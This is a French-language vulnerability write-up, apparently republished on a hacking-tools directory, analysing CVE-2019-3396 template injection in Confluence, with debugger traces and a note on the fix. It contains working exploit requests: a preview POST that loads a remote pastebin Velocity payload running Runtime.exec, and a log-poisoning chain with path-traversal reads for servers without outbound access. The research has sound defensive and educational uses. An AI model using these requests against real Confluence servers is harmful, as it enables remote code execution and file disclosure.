Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-3396 — Injection de modèles non autorisée dans Confluence | Kitploit
Outils/GitHubGitHub/petrusviet/cve-2019-3396
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Injection de modèles non autorisée dans Confluence

Voir le dépôt
21il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection de modèle non autorisée dans Confluence (CVE-2019-3396)

I) Construction

  • Ce bug affecte les versions suivantes :
    • Toutes les versions 1.x.x, 2.x.x, 3.x.x, 4.x.x et 5.x.x
    • Toutes les versions 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x et 6.5.x
    • Toutes les versions 6.6.x antérieures à 6.6.12
    • Toutes les versions 6.7.x, 6.8.x, 6.9.x, 6.10.x et 6.11.x
    • Toutes les versions 6.12.x antérieures à 6.12.3
    • Toutes les versions 6.13.x antérieures à 6.13.3
    • Toutes les versions 6.14.x antérieures à 6.14.2
  • Après avoir téléchargé le code source, vous devez :
    • Modifier la valeur confluence.home pour qu'elle pointe vers le répertoire de Confluence Home dans le fichier ./confluence/WEB-INF/classes/confluence-init.properties
    • Ajouter la variable CATALINA_OPTS pour permettre au programme de fonctionner en mode débogage à distance

Avec Windows, fichier ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Avec Linux, fichier ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • Dans l'IDE (IntelliJ), créez une configuration de débogage : Remote JVM Debug avec les valeurs host et port définies sur localhost:5005 et Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Vous pouvez utiliser PostgreSQL comme base de données :
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • Vous devez ajouter les jars : ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar dans lib afin de pouvoir voir le code source nécessaire lors du débogage.

  • Lancez le fichier ./bin/start-confluence.bat et vous pouvez également consulter ce guide pour installer à partir du source.

II) Analyse

  • Après avoir lu la description, on peut comprendre que ce bug provient de la fonctionnalité Widget Connector. J'ai donc cherché sur Google pour savoir ce qu'est cette fonctionnalité et comment l'utiliser :

    2 pour éditer une page

    3
    Choisir Autres macros

    4 Choisir Widget connector

    image

  • J'ai choisi des paramètres au hasard puis cliqué sur Preview, avant de passer sur Burp pour voir si quelque chose d'intéressant s'y trouvait. image

  • Dans ce paquet, j'ai vu un paramètre "pluginKey":"com.atlassian.confluence.extra.widgetconnector". J'ai donc supposé que la fonctionnalité Widget Connector est définie dans la classe com.atlassian.confluence.extra.widgetconnector et j'ai cherché dans le chemin pour voir s'il y avait un jar suspect.

image

  • J'ai essayé d'ajouter le fichier ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar dans lib du projet pour pouvoir lire le code source et déboguer.

    1
    Comment ajouter un fichier jar dans lib

  • En ouvrant le paquet widgetconnector, j'ai été attiré par la classe WidgetMacro. J'ai donc placé un point d'arrêt dans le constructeur et la fonction execute de cette classe pour voir si elle est appelée lorsque je fais un Preview 🕵️

    • image

    • La fonction execute est appelée, puis le programme appelle DefaultRenderManager.getEmbeddedHtml

    • image

    • On voit que pour entrer dans le if, il faut satisfaire la condition widgetRenderer.matches(url). Nous procédons donc à la vérification de la fonction dans la classe

Télécharger l’outil
widgetRenderer.matches(url)
YoutubeRenderer
  • image

  • image

  • Il faut donc que le paramètre url soit un lien vers une vidéo YouTube (ou Vimeo, Twitter, ...). J'ai défini url comme l'URL d'une vidéo YouTube quelconque et le programme est entré dans le if, puis a appelé la fonction widgetRenderer.getEmbeddedHtml(url, params) (classe YoutubeRenderer)

  • image

  • Le programme saute à la fonction setDefaultParam où l'on voit un paramètre caché _template qui semble suspect :)

  • image

  • Après avoir quitté la fonction setDefaultParam, le programme appelle la fonction DefaultVelocityRenderService.render

  • image

  • On continue avec les fonctions getRenderedTemplate et VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

  • image

  • image

  • Ensuite, VelocityUtils.getRenderedTemplate(String templateName, Context context) et getRenderedTemplateWithoutSwallowingErrors(templateName, context)

  • image

  • La fonction renderTemplateWithoutSwallowingErrors

  • image

  • Le programme appelle la fonction getTemplate, puis VelocityEngine.getTemplate et RuntimeInstance.getTemplate. Là, on voit qu'il appelle la fonction getResource avec comme paramètre d'entrée la valeur du paramètre _template. En Java, la fonction getResource peut être utilisée pour charger une ressource sous forme de fichier local ou de fichier sur Internet (via le protocole HTTP).

  • Stop et réfléchissons : cela permettrait-il à un attaquant d'injecter un template quelconque (depuis le serveur local ou depuis l'hôte de l'attaquant) dans le programme en ajoutant le paramètre _template à la requête ??

  • image

  • Nous continuons à remonter le fil pour voir comment le programme traite le template une fois obtenu :

  • Une fois le template récupéré, le programme appelle VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

  • image

  • Puis il appelle template.merge(context, writer);

  • root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • Ici, on voit que le programme appelle SimpleNode.render. Cette fonction utilise un template Velocity pour analyser le template. À ce stade, on voit qu'il est possible d'écrire un PoC d'exécution de code à distance (RCE) :

    Requête POST lors de la demande de la fonctionnalité Preview

    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Cookie: seraph.confluence=; JSESSIONID=
    Connection: close
    
    {
    "contentId":"622594",
    "macro": {
        "name":"widget",
        "body":"","params": {
          "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
          "width":"10",
          "height":"10",
          "_template":"https://pastebin.com/raw/JPEpiuLG"
          }
    }
    }
    

    fichier du payload

    root@kitploit:~
    #set($x="x")
    $x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
    
    • Le PoC a fonctionné avec succès :
    • image

    Pile d'appels

    root@kitploit:~
    WidgetMacro: execute
      -> DefaultRenderManager: getEmbeddedHtml
      	-> YoutubeRenderer: getEmbeddedHtml
      		-> DefaultVelocityRenderService: render -> getRenderedTemplate
      			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
      				
      				-> VelocityEngine: getTemplate
      					-> RuntimeInstance: getResource 
    
      			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
    
      				-> Template: merge
      					=>  SimpleNode: render
    

    Nous avons donc reproduit ce bug avec succès, mais dans le cas où la cible est un serveur qui bloque les requêtes sortantes, l'attaquant ne peut pas récupérer de ressource depuis Internet ; il ne peut accéder qu'aux fichiers locaux du serveur.

    Dans ce cas, comment exploiter le bug ?

    J'ai reçu une suggestion selon laquelle l'utilisateur pourrait, d'une manière ou d'une autre, injecter un payload dans le fichier journal. C'est une assez bonne idée, alors je me suis immédiatement creusé la tête pour trouver comment.

    • J'ai commencé à examiner les fichiers journaux dans le répertoire Confluence Home pour voir ce qu'ils avaient de particulier. J'ai regardé les fichiers journaux dans ./shared-home/analytics-logs/ et j'ai vu un certain nombre de paires clé-valeur familières, qui semblent provenir du côté client.
    • image
    • J'ai vu une requête POST /rest/analytics/1.0/publish/bulk envoyant plusieurs paires clé-valeur comme ci-dessus.
    root@kitploit:~
    [{"name":"browser.metrics.navigation",
    "properties":{
     "apdex":"0.5",
     "firstPaint":"528",
     "isInitial":"true",
     "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
     "key":"confluence.dashboard.view",
     "navigationType":"0",
     "readyForUser":"1117",
     "redirectCount":"0",
     "resourceLoadedEnd":"499",
     "resourceLoadedStart":90.35499999299645,
     "threshold":"1000",
     "unloadEventStart":"47",
     "unloadEventEnd":"47",
     "fetchStart":"25",
     "domainLookupStart":"25",
     "domainLookupEnd":"25",
     "connectStart":"25",
     "connectEnd":"25",
     "requestStart":"27",
     "responseStart":"28",
     "responseEnd":"37",
     "domLoading":"52",
     "domInteractive":"538",
     "domContentLoadedEventStart":"538",
     "domContentLoadedEventEnd":"691",
     "domComplete":"1176",
     "loadEventStart":"1176",
     "loadEventEnd":"1176",
     "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
     "pageEnd":"531",
     "isBigPipeEnabled":"false",
     "serverDuration":"339",
     "requestCorrelationId":"36006c54d2919ecd",
     "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
     "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
     }]
    
    • J'ai essayé de remplacer certaines valeurs et j'ai constaté que la valeur resourceTiming pouvait être modifiée à volonté tout en étant consignée dans le journal.
    • image
    • Nous pouvons donc désormais injecter un payload dans le fichier journal situé en local sur le serveur.
    • À partir de là, nous pouvons lire le fichier ./confluence/WEB-INF/classes/confluence-init.properties pour connaître l'emplacement de Confluence Home.
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
      
    {
    "contentId":"1507329",
    "macro":{
    "name":"widget",
    "body":"",
    "params":{
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "_template":"/../../WEB-INF/classes/confluence-init.properties",
      "width":"11",
      "height":"11"
      }
    }
    }
    
    • Puis, à partir de là, chercher l'emplacement du fichier journal contenant le payload que j'ai injecté :
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
        
    {
    "contentId":"1507329",
    "macro":{
      "name":"widget",
      "body":"",
      "params":{
        "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
        "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
        "width":"11",
        "height":"11"
        }
      }
    }
    
    • Si le fichier journal est trop volumineux pour être chargé comme template et analysé, on peut forcer la rotation du journal pour que le fichier atteigne la limite de taille. Le système écrit alors automatiquement les journaux dans un nouveau fichier, et l'attaquant peut profiter du fait que le nouveau fichier journal n'est pas encore volumineux pour y injecter un payload exploitable.

    III) Correctif

    Dans le correctif, la classe WidgetMacro a été enrichie d'une fonction doSanitizeParameters qui supprime le paramètre "_template" avant d'appeler renderManager.getEmbeddedHtml(url, parameters);

    image image image